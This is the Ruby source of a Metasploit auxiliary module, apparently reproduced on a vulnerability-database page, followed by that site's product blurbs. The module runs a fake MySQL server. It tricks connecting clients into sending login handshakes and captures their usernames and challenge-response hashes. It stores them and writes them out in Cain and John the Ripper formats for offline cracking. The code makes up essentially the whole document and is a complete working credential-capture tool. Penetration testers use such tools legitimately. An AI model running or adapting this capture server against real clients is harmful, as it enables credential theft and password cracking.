##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: MySQL',
'Description' => %q{
This module provides a fake MySQL service that is designed to
capture authentication credentials. It captures challenge and
response pairs that can be supplied to Cain or JtR for cracking.
},
'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
'License' => MSF_LICENSE,
'Actions' => [[ 'Capture', 'Description' => 'Run MySQL capture server' ]],
'PassiveActions' => [ 'Capture' ],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]),
OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]),
OptString.new('SRVVERSION', [ true, "The server version to report in the greeting response", "5.5.16" ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
])
end
def setup
super
@state = {}
end
def run
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
else
print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455")
return
end
@version = datastore['SRVVERSION']
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
}
mysql_send_greeting(c)
end
def mysql_send_greeting(c)
# https://dev.mysql.com/doc/internals/en/connection-phase-packets.html
length = 68 + @version.length
packetno = 0
chall = String.new(@challenge)
data = [
( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no
10, # protocol version: 10e
@version, # server version: 5.5.16 (unless changed)
rand(9999) + 1, # thread id
chall.slice!(0,8), # the first 8 bytes of the challenge
0x00, # filler
0xfff7, # server capabilities
0x21, # server language: UTF8
0x0002, # server status
"0f801500000000000000000000", # filler
chall.slice!(0,12),
"mysql_native_password"
].pack("VCZ*VA*CnCvH*Z*Z*")
c.put data
end
def mysql_process_login(data, info)
length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF )
packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24
flags = data.slice!(0,2).unpack("v")[0]
if ( flags & 0x8000 ) != 0x8000
info[:errors] << "Unsupported protocol detected"
return info
end
# we're dealing with the 4.1+ protocol
extflags = data.slice!(0,2).unpack("v")[0]
maxpacket= data.slice!(0,4).unpack("N")[0]
charset = data.slice!(0,1).unpack("C")[0]
# slice away 23 bytes of filler
data.slice!(0,23)
info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0]
response_len = data.slice!(0,1).unpack("C")[0]
if response_len != 20
return
end
info[:response] = data.slice!(0, 20).unpack("A*")[0]
if ( flags & 0x0008 ) == 0x0008
info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0]
end
info
end
def mysql_send_error(c, msg)
length = 9 + msg.length
packetno = 2
data = [
( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no
0xFF, # field count, always: ff
1045, # error code
0x23, # sqlstate marker, always '#'
"28000", # sqlstate
msg
].pack("VCvCA*A*")
c.put data
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_client_data(c)
info = { :errors => [] }
data = c.get_once
return if not data
mysql_process_login(data, info)
if info[:errors] and not info[:errors].empty?
print_error("#{@state[c][:name]} #{info[:errors].join("\n")}")
elsif info[:username] and info[:response]
mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)")
if info[:database]
print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}")
else
print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}")
end
hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}"
report_cred(
ip: c.peerhost,
port: datastore['SRVPORT'],
service_name: 'mysql_client',
user: info[:username],
password: hash_line,
proof: info[:database] ? info[:database] : hash_line
)
if (datastore['CAINPWFILE'])
fd = ::File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
info[:username],
"NULL",
info[:response].unpack('H*')[0],
@challenge.unpack('H*')[0],
"SHA1"
].join("\t").gsub(/\n/, "\\n")
)
fd.close
end
if(datastore['JOHNPWFILE'])
john_hash_line = "#{info[:username]}:$mysqlna$#{@challenge.unpack("H*")[0]}*#{info[:response].unpack('H*')[0]}"
fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna' , "ab")
fd.puts john_hash_line
fd.close
end
else
mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)")
end
c.close
end
def on_client_close(c)
@state.delete(c)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation